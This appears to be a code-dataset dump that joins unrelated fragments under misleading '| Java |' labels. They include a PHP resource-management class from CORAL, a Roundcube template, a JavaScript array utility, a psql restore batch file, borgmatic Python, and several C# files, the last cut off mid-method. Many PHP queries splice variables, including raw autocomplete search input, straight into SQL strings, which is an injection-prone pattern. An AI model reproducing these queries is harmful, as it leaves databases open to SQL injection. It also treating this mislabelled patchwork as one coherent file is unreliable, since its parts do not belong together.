$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['organizationID'])){
$orgArray = array();
//first, get the organization name
$query = "SELECT name FROM " . $dbName . ".Organization WHERE organizationID = " . $result['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['name'];
$orgArray['organizationID'] = $result['organizationID'];
}
}
//then, get the role name
$query = "SELECT * FROM " . $dbName . ".OrganizationRole WHERE organizationRoleID = " . $result['organizationRoleID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organizationRoleID'] = $orgRow['organizationRoleID'];
$orgArray['organizationRole'] = $orgRow['shortName'];
}
}
array_push($resourceOrgArray, $orgArray);
}else{
foreach ($result as $row) {
$orgArray = array();
//first, get the organization name
$query = "SELECT name FROM " . $dbName . ".Organization WHERE organizationID = " . $row['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['name'];
$orgArray['organizationID'] = $row['organizationID'];
}
}
//then, get the role name
$query = "SELECT * FROM " . $dbName . ".OrganizationRole WHERE organizationRoleID = " . $row['organizationRoleID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organizationRoleID'] = $orgRow['organizationRoleID'];
$orgArray['organizationRole'] = $orgRow['shortName'];
}
}
array_push($resourceOrgArray, $orgArray);
}
}
//otherwise if the org module is not installed get the org name from this database
}else{
$resourceOrgArray = array();
$query = "SELECT * FROM ResourceOrganizationLink WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['organizationID'])){
$orgArray = array();
//first, get the organization name
$query = "SELECT shortName FROM Organization WHERE organizationID = " . $result['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['shortName'];
$orgArray['organizationID'] = $result['organizationID'];
}
}
//then, get the role name
$query = "SELECT * FROM OrganizationRole WHERE organizationRoleID = " . $result['organizationRoleID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organizationRoleID'] = $orgRow['organizationRoleID'];
$orgArray['organizationRole'] = $orgRow['shortName'];
}
}
array_push($resourceOrgArray, $orgArray);
}else{
foreach ($result as $row) {
$orgArray = array();
//first, get the organization name
$query = "SELECT shortName FROM Organization WHERE organizationID = " . $row['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['shortName'];
$orgArray['organizationID'] = $row['organizationID'];
}
}
//then, get the role name
$query = "SELECT * FROM OrganizationRole WHERE organizationRoleID = " . $row['organizationRoleID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organizationRoleID'] = $orgRow['organizationRoleID'];
$orgArray['organizationRole'] = $orgRow['shortName'];
}
}
array_push($resourceOrgArray, $orgArray);
}
}
}
return $resourceOrgArray;
}
public function getSiblingResourcesArray($organizationID) {
$query = "SELECT DISTINCT r.resourceID, r.titleText FROM ResourceOrganizationLink rol
LEFT JOIN Resource r ON r.resourceID=rol.resourceID
WHERE rol.organizationID=".$organizationID." AND r.archiveDate IS NULL
ORDER BY r.titleText";
$result = $this->db->processQuery($query, 'assoc');
if($result["resourceID"]) {
return array($result);
}
return $result;
}
//gets an array of distinct organizations set up for this resource (organizationID, organization)
public function getDistinctOrganizationArray(){
$config = new Configuration;
//if the org module is installed get the org name from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$resourceOrgArray = array();
$query = "SELECT DISTINCT organizationID FROM ResourceOrganizationLink WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['organizationID'])){
$orgArray = array();
//first, get the organization name
$query = "SELECT name FROM " . $dbName . ".Organization WHERE organizationID = " . $result['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['name'];
$orgArray['organizationID'] = $result['organizationID'];
}
}
array_push($resourceOrgArray, $orgArray);
}else{
foreach ($result as $row) {
$orgArray = array();
//first, get the organization name
$query = "SELECT DISTINCT name FROM " . $dbName . ".Organization WHERE organizationID = " . $row['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['name'];
$orgArray['organizationID'] = $row['organizationID'];
}
}
array_push($resourceOrgArray, $orgArray);
}
}
//otherwise if the org module is not installed get the org name from this database
}else{
$resourceOrgArray = array();
$query = "SELECT DISTINCT organizationID FROM ResourceOrganizationLink WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['organizationID'])){
$orgArray = array();
//first, get the organization name
$query = "SELECT DISTINCT shortName FROM Organization WHERE organizationID = " . $result['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['shortName'];
$orgArray['organizationID'] = $result['organizationID'];
}
}
array_push($resourceOrgArray, $orgArray);
}else{
foreach ($result as $row) {
$orgArray = array();
//first, get the organization name
$query = "SELECT DISTINCT shortName FROM Organization WHERE organizationID = " . $row['organizationID'];
if ($orgResult = $this->db->query($query)){
while ($orgRow = $orgResult->fetch_assoc()){
$orgArray['organization'] = $orgRow['shortName'];
$orgArray['organizationID'] = $row['organizationID'];
}
}
array_push($resourceOrgArray, $orgArray);
}
}
}
return $resourceOrgArray;
}
public function hasCatalogingInformation() {
return ($this->recordSetIdentifier || $this->recordSetIdentifier || $this->bibSourceURL || $this->catalogingTypeID || $this->catalogingStatusID || $this->numberRecordsAvailable || $this->numberRecordsLoaded || $this->hasOclcHoldings);
}
//removes this resource and its children
public function removeResourceAndChildren(){
// for each children
foreach ($this->getChildResources() as $instance) {
$removeChild = true;
$child = new Resource(new NamedArguments(array('primaryKey' => $instance->resourceID)));
// get parents of this children
$parents = $child->getParentResources();
// If the child ressource belongs to another parent than the one we're removing
foreach ($parents as $pinstance) {
$parentResourceObj = new Resource(new NamedArguments(array('primaryKey' => $pinstance->relatedResourceID)));
if ($parentResourceObj->resourceID != $this->resourceID) {
// We do not delete this child.
$removeChild = false;
}
}
if ($removeChild == true) {
$child->removeResource();
}
}
// Finally, we remove the parent
$this->removeResource();
}
//removes this resource
public function removeResource(){
//delete data from child linked tables
$this->removeResourceRelationships();
$this->removePurchaseSites();
$this->removeAuthorizedSites();
$this->removeAdministeringSites();
$this->removeResourceLicenses();
$this->removeResourceLicenseStatuses();
$this->removeResourceOrganizations();
$this->removeResourcePayments();
$this->removeAllSubjects();
$this->removeAllIsbnOrIssn();
$instance = new Contact();
foreach ($this->getContacts() as $instance) {
$instance->removeContactRoles();
$instance->delete();
}
$instance = new ExternalLogin();
foreach ($this->getExternalLogins() as $instance) {
$instance->delete();
}
$instance = new ResourceNote();
foreach ($this->getNotes() as $instance) {
$instance->delete();
}
$instance = new Attachment();
foreach ($this->getAttachments() as $instance) {
$instance->delete();
}
$instance = new Alias();
foreach ($this->getAliases() as $instance) {
$instance->delete();
}
$this->delete();
}
//removes resource hierarchy records
public function removeResourceRelationships(){
$query = "DELETE
FROM ResourceRelationship
WHERE resourceID = '" . $this->resourceID . "' OR relatedResourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource purchase sites
public function removePurchaseSites(){
$query = "DELETE
FROM ResourcePurchaseSiteLink
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource authorized sites
public function removeAuthorizedSites(){
$query = "DELETE
FROM ResourceAuthorizedSiteLink
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource administering sites
public function removeAdministeringSites(){
$query = "DELETE
FROM ResourceAdministeringSiteLink
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes payment records
public function removeResourcePayments(){
$query = "DELETE
FROM ResourcePayment
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource licenses
public function removeResourceLicenses(){
$query = "DELETE
FROM ResourceLicenseLink
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource license statuses
public function removeResourceLicenseStatuses(){
$query = "DELETE
FROM ResourceLicenseStatus
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource organizations
public function removeResourceOrganizations(){
$query = "DELETE
FROM ResourceOrganizationLink
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource note records
public function removeResourceNotes(){
$query = "DELETE
FROM ResourceNote
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//removes resource steps
public function removeResourceSteps(){
$query = "DELETE
FROM ResourceStep
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
//search used for the resource autocomplete
public function resourceAutocomplete($q){
$resourceArray = array();
$result = $this->db->query("SELECT titleText, resourceID
FROM Resource
WHERE upper(titleText) like upper('%" . $q . "%')
ORDER BY 1;");
while ($row = $result->fetch_assoc()){
$resourceArray[] = $row['titleText'] . "|" . $row['resourceID'];
}
return $resourceArray;
}
//search used for the organization autocomplete
public function organizationAutocomplete($q){
$config = new Configuration;
$organizationArray = array();
//if the org module is installed get the org name from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$result = $this->db->query("SELECT CONCAT(A.name, ' (', O.name, ')') shortName, O.organizationID
FROM " . $dbName . ".Alias A, " . $dbName . ".Organization O
WHERE A.organizationID=O.organizationID
AND upper(A.name) like upper('%" . $q . "%')
UNION
SELECT name shortName, organizationID
FROM " . $dbName . ".Organization
WHERE upper(name) like upper('%" . $q . "%')
ORDER BY 1;");
}else{
$result = $this->db->query("SELECT organizationID, shortName
FROM Organization O
WHERE upper(O.shortName) like upper('%" . $q . "%')
ORDER BY shortName;");
}
while ($row = $result->fetch_assoc()){
$organizationArray[] = $row['shortName'] . "|" . $row['organizationID'];
}
return $organizationArray;
}
//search used for the license autocomplete
public function licenseAutocomplete($q){
$config = new Configuration;
$licenseArray = array();
//if the org module is installed get the org name from org database
if ($config->settings->licensingModule == 'Y'){
$dbName = $config->settings->licensingDatabaseName;
$result = $this->db->query("SELECT shortName, licenseID
FROM " . $dbName . ".License
WHERE upper(shortName) like upper('%" . $q . "%')
ORDER BY 1;");
}
while ($row = $result->fetch_assoc()){
$licenseArray[] = $row['shortName'] . "|" . $row['licenseID'];
}
return $licenseArray;
}
///////////////////////////////////////////////////////////////////////////////////
//
// Workflow functions follow
//
///////////////////////////////////////////////////////////////////////////////////
//returns array of ResourceStep objects for this Resource
public function getResourceSteps(){
$query = "SELECT * FROM ResourceStep
WHERE resourceID = '" . $this->resourceID . "'
ORDER BY displayOrderSequence, stepID";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceStepID'])){
$object = new ResourceStep(new NamedArguments(array('primaryKey' => $result['resourceStepID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourceStep(new NamedArguments(array('primaryKey' => $row['resourceStepID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns current step location in the workflow for this resource
//used to display the group on the tabs
public function getCurrentStepGroup(){
$query = "SELECT groupName FROM ResourceStep RS, UserGroup UG
WHERE resourceID = '" . $this->resourceID . "'
ORDER BY stepID";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceStepID'])){
}
}
//returns first steps (object) in the workflow for this resource
public function getFirstSteps(){
$query = "SELECT * FROM ResourceStep
WHERE resourceID = '" . $this->resourceID . "'
AND (priorStepID is null OR priorStepID = '0')
ORDER BY stepID";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceStepID'])){
$object = new ResourceStep(new NamedArguments(array('primaryKey' => $result['resourceStepID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourceStep(new NamedArguments(array('primaryKey' => $row['resourceStepID'])));
array_push($objects, $object);
}
}
return $objects;
}
//enters resource into new workflow
public function enterNewWorkflow(){
$config = new Configuration();
//remove any current workflow steps
$this->removeResourceSteps();
//make sure this resource is marked in progress in case it was archived
$status = new Status();
$this->statusID = $status->getIDFromName('progress');
$this->save();
//Determine the workflow this resource belongs to
$workflowObj = new Workflow();
$workflowID = $workflowObj->getWorkflowID($this->resourceTypeID, $this->resourceFormatID, $this->acquisitionTypeID);
if ($workflowID){
$workflow = new Workflow(new NamedArguments(array('primaryKey' => $workflowID)));
//Copy all of the step attributes for this workflow to a new resource step
foreach ($workflow->getSteps() as $step){
$resourceStep = new ResourceStep();
$resourceStep->resourceStepID = '';
$resourceStep->resourceID = $this->resourceID;
$resourceStep->stepID = $step->stepID;
$resourceStep->priorStepID = $step->priorStepID;
$resourceStep->stepName = $step->stepName;
$resourceStep->userGroupID = $step->userGroupID;
$resourceStep->displayOrderSequence = $step->displayOrderSequence;
$resourceStep->save();
}
//Start the first step
//this handles updating the db and sending notifications for approval groups
foreach ($this->getFirstSteps() as $resourceStep){
$resourceStep->startStep();
}
}
//send an email notification to the feedback email address and the creator
$cUser = new User(new NamedArguments(array('primaryKey' => $this->createLoginID)));
$acquisitionType = new AcquisitionType(new NamedArguments(array('primaryKey' => $this->acquisitionTypeID)));
if ($cUser->firstName){
$creator = $cUser->firstName . " " . $cUser->lastName;
}else if ($this->createLoginID){ //for some reason user isn't set up or their firstname/last name don't exist
$creator = $this->createLoginID;
}else{
$creator = "(unknown user)";
}
if (($config->settings->feedbackEmailAddress) || ($cUser->emailAddress)){
$email = new Email();
$util = new Utility();
$email->message = $util->createMessageFromTemplate('NewResourceMain', $this->resourceID, $this->titleText, '', '', $creator);
if ($cUser->emailAddress){
$emailTo[] = $cUser->emailAddress;
}
if ($config->settings->feedbackEmailAddress != ''){
$emailTo[] = $config->settings->feedbackEmailAddress;
}
$email->to = implode(",", $emailTo);
if ($acquisitionType->shortName){
$email->subject = "CORAL Alert: New " . $acquisitionType->shortName . " Resource Added: " . $this->titleText;
}else{
$email->subject = "CORAL Alert: New Resource Added: " . $this->titleText;
}
$email->send();
}
}
//completes a workflow (changes status to complete and sends notifications to creator and "master email")
public function completeWorkflow(){
$config = new Configuration();
$util = new Utility();
$status = new Status();
$statusID = $status->getIDFromName('complete');
if ($statusID){
$this->statusID = $statusID;
$this->save();
}
//send notification to creator and master email address
$cUser = new User(new NamedArguments(array('primaryKey' => $this->createLoginID)));
//formulate emil to be sent
$email = new Email();
$email->message = $util->createMessageFromTemplate('CompleteResource', $this->resourceID, $this->titleText, '', $this->systemNumber, '');
if ($cUser->emailAddress){
$emailTo[] = $cUser->emailAddress;
}
if ($config->settings->feedbackEmailAddress != ''){
$emailTo[] = $config->settings->feedbackEmailAddress;
}
$email->to = implode(",", $emailTo);
$email->subject = "CORAL Alert: Workflow completion for " . $this->titleText;
$email->send();
}
//returns array of subject objects
public function getGeneralDetailSubjectLinkID(){
$query = "SELECT
GDL.generalDetailSubjectLinkID
FROM
Resource R
INNER JOIN ResourceSubject RSUB ON (R.resourceID = RSUB.resourceID)
INNER JOIN GeneralDetailSubjectLink GDL ON (RSUB.generalDetailSubjectLinkID = GDL.generalDetailSubjectLinkID)
LEFT OUTER JOIN GeneralSubject GS ON (GDL.generalSubjectID = GS.generalSubjectID)
LEFT OUTER JOIN DetailedSubject DS ON (GDL.detailedSubjectID = DS.detailedSubjectID)
WHERE
R.resourceID = '" . $this->resourceID . "'
ORDER BY
GS.shortName,
DS.shortName";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['generalDetailSubjectLinkID'])){
$object = new GeneralDetailSubjectLink(new NamedArguments(array('primaryKey' => $result['generalDetailSubjectLinkID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new GeneralDetailSubjectLink(new NamedArguments(array('primaryKey' => $row['generalDetailSubjectLinkID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of subject objects
public function getDetailedSubjects($resourceID, $generalSubjectID){
$query = "SELECT
RSUB.resourceID,
GDL.detailedSubjectID,
DetailedSubject.shortName,
GDL.generalSubjectID
FROM
ResourceSubject RSUB
INNER JOIN GeneralDetailSubjectLink GDL ON (RSUB.GeneralDetailSubjectLinkID = GDL.GeneralDetailSubjectLinkID)
INNER JOIN DetailedSubject ON (GDL.detailedSubjectID = DetailedSubject.detailedSubjectID)
WHERE
RSUB.resourceID = " . $resourceID . " AND GDL.generalSubjectID = " . $generalSubjectID . " ORDER BY DetailedSubject.shortName";
//echo $query . "<br>";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['detailedSubjectID'])){
$object = new DetailedSubject(new NamedArguments(array('primaryKey' => $result['detailedSubjectID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new DetailedSubject(new NamedArguments(array('primaryKey' => $row['detailedSubjectID'])));
array_push($objects, $object);
}
}
return $objects;
}
//removes all resource subjects
public function removeAllSubjects(){
$query = "DELETE
FROM ResourceSubject
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
public function removeAllIsbnOrIssn() {
$query = "DELETE
FROM IsbnOrIssn
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query);
}
public function setIsbnOrIssn($isbnorissns) {
$this->removeAllIsbnOrIssn();
foreach ($isbnorissns as $isbnorissn) {
if (trim($isbnorissn) != '') {
$isbnOrIssn = new IsbnOrIssn();
$isbnOrIssn->resourceID = $this->resourceID;
$isbnOrIssn->isbnOrIssn = $isbnorissn;
$isbnOrIssn->save();
}
}
}
}
?>
| Java |
<roundcube:include file="includes/layout.html" />
<div class="content frame-content">
<roundcube:object name="dialogcontent" />
</div>
<roundcube:include file="includes/footer.html" />
| Java |
/*
* Meran - MERAN UNLP is a ILS (Integrated Library System) wich provides Catalog,
* Circulation and User's Management. It's written in Perl, and uses Apache2
* Web-Server, MySQL database and Sphinx 2 indexing.
* Copyright (C) 2009-2013 Grupo de desarrollo de Meran CeSPI-UNLP
*
* This file is part of Meran.
*
* Meran is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Meran is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Meran. If not, see <http://www.gnu.org/licenses/>.
*/
define([],function(){
'use strict'
/**
* Implements unique() using the browser's sort().
*
* @param a
* The array to sort and strip of duplicate values.
* Warning: this array will be modified in-place.
* @param compFn
* A custom comparison function that accepts two values a and
* b from the given array and returns -1, 0, 1 depending on
* whether a < b, a == b, a > b respectively.
*
* If no compFn is provided, the algorithm will use the
* browsers default sort behaviour and loose comparison to
* detect duplicates.
* @return
* The given array.
*/
function sortUnique(a, compFn){
var i;
if (compFn) {
a.sort(compFn);
for (i = 1; i < a.length; i++) {
if (0 === compFn(a[i], a[i - 1])) {
a.splice(i--, 1);
}
}
} else {
a.sort();
for (i = 1; i < a.length; i++) {
// Use loosely typed comparsion if no compFn is given
// to avoid sortUnique( [6, "6", 6] ) => [6, "6", 6]
if (a[i] == a[i - 1]) {
a.splice(i--, 1);
}
}
}
return a;
}
/**
* Shallow comparison of two arrays.
*
* @param a, b
* The arrays to compare.
* @param equalFn
* A custom comparison function that accepts two values a and
* b from the given arrays and returns true or false for
* equal and not equal respectively.
*
* If no equalFn is provided, the algorithm will use the strict
* equals operator.
* @return
* True if all items in a and b are equal, false if not.
*/
function equal(a, b, equalFn) {
var i = 0, len = a.length;
if (len !== b.length) {
return false;
}
if (equalFn) {
for (; i < len; i++) {
if (!equalFn(a[i], b[i])) {
return false;
}
}
} else {
for (; i < len; i++) {
if (a[i] !== b[i]) {
return false;
}
}
}
return true;
}
/**
* ECMAScript map replacement
* See https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/map
* And http://es5.github.com/#x15.4.4.19
* It's not exactly according to standard, but it does exactly what one expects.
*/
function map(a, fn) {
var i, len, result = [];
for (i = 0, len = a.length; i < len; i++) {
result.push(fn(a[i]));
}
return result;
}
function mapNative(a, fn) {
// Call map directly on the object instead of going through
// Array.prototype.map. This avoids the problem that we may get
// passed an array-like object (NodeList) which may cause an
// error if the implementation of Array.prototype.map can only
// deal with arrays (Array.prototype.map may be native or
// provided by a javscript framework).
return a.map(fn);
}
return {
sortUnique: sortUnique,
equal: equal,
map: Array.prototype.map ? mapNative : map
};
});
| Java |
echo off
rem Parameters
set postgresbindir=C:\Program Files (x86)\PostgreSQL\9.5\bin
set postgresport=5433
set postgresusername=postgres
rem List all sql files in the dir
dir *.sql
rem Prompt user to give filename to restore
set /p filename="SQL filename to restore? "
call "%postgresbindir%\psql.exe" --host localhost --port %postgresport% --username "%postgresusername%" -f %filename% | Java |
import logging
from borgmatic.borg.flags import make_flags, make_flags_from_arguments
from borgmatic.execute import execute_command
logger = logging.getLogger(__name__)
# A hack to convince Borg to exclude archives ending in ".checkpoint". This assumes that a
# non-checkpoint archive name ends in a digit (e.g. from a timestamp).
BORG_EXCLUDE_CHECKPOINTS_GLOB = '*[0123456789]'
def resolve_archive_name(repository, archive, storage_config, local_path='borg', remote_path=None):
'''
Given a local or remote repository path, an archive name, a storage config dict, a local Borg
path, and a remote Borg path, simply return the archive name. But if the archive name is
"latest", then instead introspect the repository for the latest successful (non-checkpoint)
archive, and return its name.
Raise ValueError if "latest" is given but there are no archives in the repository.
'''
if archive != "latest":
return archive
lock_wait = storage_config.get('lock_wait', None)
full_command = (
(local_path, 'list')
+ (('--info',) if logger.getEffectiveLevel() == logging.INFO else ())
+ (('--debug', '--show-rc') if logger.isEnabledFor(logging.DEBUG) else ())
+ make_flags('remote-path', remote_path)
+ make_flags('lock-wait', lock_wait)
+ make_flags('glob-archives', BORG_EXCLUDE_CHECKPOINTS_GLOB)
+ make_flags('last', 1)
+ ('--short', repository)
)
output = execute_command(full_command, output_log_level=None, borg_local_path=local_path)
try:
latest_archive = output.strip().splitlines()[-1]
except IndexError:
raise ValueError('No archives found in the repository')
logger.debug('{}: Latest archive is {}'.format(repository, latest_archive))
return latest_archive
def list_archives(repository, storage_config, list_arguments, local_path='borg', remote_path=None):
'''
Given a local or remote repository path, a storage config dict, and the arguments to the list
action, display the output of listing Borg archives in the repository or return JSON output. Or,
if an archive name is given, listing the files in that archive.
'''
lock_wait = storage_config.get('lock_wait', None)
if list_arguments.successful:
list_arguments.glob_archives = BORG_EXCLUDE_CHECKPOINTS_GLOB
full_command = (
(local_path, 'list')
+ (
('--info',)
if logger.getEffectiveLevel() == logging.INFO and not list_arguments.json
else ()
)
+ (
('--debug', '--show-rc')
if logger.isEnabledFor(logging.DEBUG) and not list_arguments.json
else ()
)
+ make_flags('remote-path', remote_path)
+ make_flags('lock-wait', lock_wait)
+ make_flags_from_arguments(
list_arguments, excludes=('repository', 'archive', 'paths', 'successful')
)
+ (
'::'.join((repository, list_arguments.archive))
if list_arguments.archive
else repository,
)
+ (tuple(list_arguments.paths) if list_arguments.paths else ())
)
return execute_command(
full_command,
output_log_level=None if list_arguments.json else logging.WARNING,
borg_local_path=local_path,
)
| Java |
// Copyright 2017 Jon Skeet. All rights reserved. Use of this source code is governed by the Apache License 2.0, as found in the LICENSE.txt file.
using System;
namespace NullConditional
{
class LoggingDemo
{
static void Main()
{
int x = 10;
Logger logger = new Logger();
logger.Debug?.Log($"Debug log entry");
logger.Info?.Log($"Info at {DateTime.UtcNow}; x={x}");
}
}
}
| Java |
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="AssociationContains.cs" company="Allors bvba">
// Copyright 2002-2017 Allors bvba.
//
// Dual Licensed under
// a) the Lesser General Public Licence v3 (LGPL)
// b) the Allors License
//
// The LGPL License is included in the file lgpl.txt.
// The Allors License is an addendum to your contract.
//
// Allors Platform is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// For more information visit http://www.allors.com/legal
// </copyright>
// --------------------------------------------------------------------------------------------------------------------
namespace Allors.Adapters.Object.SqlClient
{
using Allors.Meta;
using Adapters;
internal sealed class AssociationContains : Predicate
{
private readonly IObject allorsObject;
private readonly IAssociationType association;
internal AssociationContains(ExtentFiltered extent, IAssociationType association, IObject allorsObject)
{
extent.CheckAssociation(association);
PredicateAssertions.AssertAssociationContains(association, allorsObject);
this.association = association;
this.allorsObject = allorsObject;
}
internal override bool BuildWhere(ExtentStatement statement, string alias)
{
var schema = statement.Mapping;
if ((this.association.IsMany && this.association.RoleType.IsMany) || !this.association.RelationType.ExistExclusiveClasses)
{
statement.Append("\n");
statement.Append("EXISTS(\n");
statement.Append("SELECT " + alias + "." + Mapping.ColumnNameForObject + "\n");
statement.Append("FROM " + schema.TableNameForRelationByRelationType[this.association.RelationType] + "\n");
statement.Append("WHERE " + Mapping.ColumnNameForAssociation + "=" + this.allorsObject.Strategy.ObjectId + "\n");
statement.Append("AND " + Mapping.ColumnNameForRole + "=" + alias + "." + Mapping.ColumnNameForObject + "\n");
statement.Append(")");
}
else
{
statement.Append(" " + this.association.SingularFullName + "_A." + Mapping.ColumnNameForObject + " = " + this.allorsObject.Strategy.ObjectId);
}
return this.Include;
}
internal override void Setup(ExtentStatement statement)
{
statement.UseAssociation(this.association);
}
}
} | Java |
using System;
using System.Web;
using System.Web.Mvc;
using SmartStore.Core;
using SmartStore.Core.Domain.Catalog;
using SmartStore.Core.Domain.Customers;
using SmartStore.Core.Domain.Media;
using SmartStore.Core.Html;
using SmartStore.Services.Catalog;
using SmartStore.Services.Media;
using SmartStore.Services.Orders;
using SmartStore.Web.Framework.Controllers;
namespace SmartStore.Web.Controllers
{
public partial class DownloadController : PublicControllerBase
{
private readonly IDownloadService _downloadService;
private readonly IProductService _productService;
private readonly IOrderService _orderService;
private readonly IWorkContext _workContext;
private readonly CustomerSettings _customerSettings;
public DownloadController(
IDownloadService downloadService,
IProductService productService,
IOrderService orderService,
IWorkContext workContext,
CustomerSettings customerSettings)
{
this._downloadService = downloadService;
this._productService = productService;
this._orderService = orderService;
this._workContext = workContext;
this._customerSettings = customerSettings;
}
private ActionResult GetFileContentResultFor(Download download, Product product, byte[] data)
{
if (data == null || data.LongLength == 0)
{
NotifyError(T("Common.Download.NoDataAvailable"));
return new RedirectResult(Url.Action("Info", "Customer"));
}
var fileName = (download.Filename.HasValue() ? download.Filename : download.Id.ToString());
var contentType = (download.ContentType.HasValue() ? download.ContentType : "application/octet-stream");
return new FileContentResult(data, contentType)
{
FileDownloadName = fileName + download.Extension
};
}
private ActionResult GetFileContentResultFor(Download download, Product product)
{
return GetFileContentResultFor(download, product, _downloadService.LoadDownloadBinary(download));
}
public ActionResult Sample(int productId)
{
var product = _productService.GetProductById(productId);
if (product == null)
return HttpNotFound();
if (!product.HasSampleDownload)
{
NotifyError(T("Common.Download.HasNoSample"));
return RedirectToAction("ProductDetails", "Product", new { productId = productId });
}
var download = _downloadService.GetDownloadById(product.SampleDownloadId.GetValueOrDefault());
if (download == null)
{
NotifyError(T("Common.Download.SampleNotAvailable"));
return RedirectToAction("ProductDetails", "Product", new { productId = productId });
}
if (download.UseDownloadUrl)
return new RedirectResult(download.DownloadUrl);
return GetFileContentResultFor(download, product);
}
public ActionResult GetDownload(Guid id, bool agree = false)
{
if (id == Guid.Empty)
return HttpNotFound();
var orderItem = _orderService.GetOrderItemByGuid(id);
if (orderItem == null)
return HttpNotFound();
var order = orderItem.Order;
var product = orderItem.Product;
var hasNotification = false;
if (!_downloadService.IsDownloadAllowed(orderItem))
{
hasNotification = true;
NotifyError(T("Common.Download.NotAllowed"));
}
if (_customerSettings.DownloadableProductsValidateUser)
{
if (_workContext.CurrentCustomer == null)
return new HttpUnauthorizedResult();
if (order.CustomerId != _workContext.CurrentCustomer.Id)
{
hasNotification = true;
NotifyError(T("Account.CustomerOrders.NotYourOrder"));
}
}
var download = _downloadService.GetDownloadById(product.DownloadId);
if (download == null)
{
hasNotification = true;
NotifyError(T("Common.Download.NoDataAvailable"));
}
if (product.HasUserAgreement && !agree)
{
hasNotification = true;
}
if (!product.UnlimitedDownloads && orderItem.DownloadCount >= product.MaxNumberOfDownloads)
{
hasNotification = true;
NotifyError(T("Common.Download.MaxNumberReached", product.MaxNumberOfDownloads));
}
if (hasNotification)
{
return RedirectToAction("UserAgreement", "Customer", new { id = id });
}
if (download.UseDownloadUrl)
{
orderItem.DownloadCount++;
_orderService.UpdateOrder(order);
return new RedirectResult(download.DownloadUrl);
}
else
{
var data = _downloadService.LoadDownloadBinary(download);
if (data == null || data.LongLength == 0)
{
NotifyError(T("Common.Download.NoDataAvailable"));
return RedirectToAction("UserAgreement", "Customer", new { id = id });
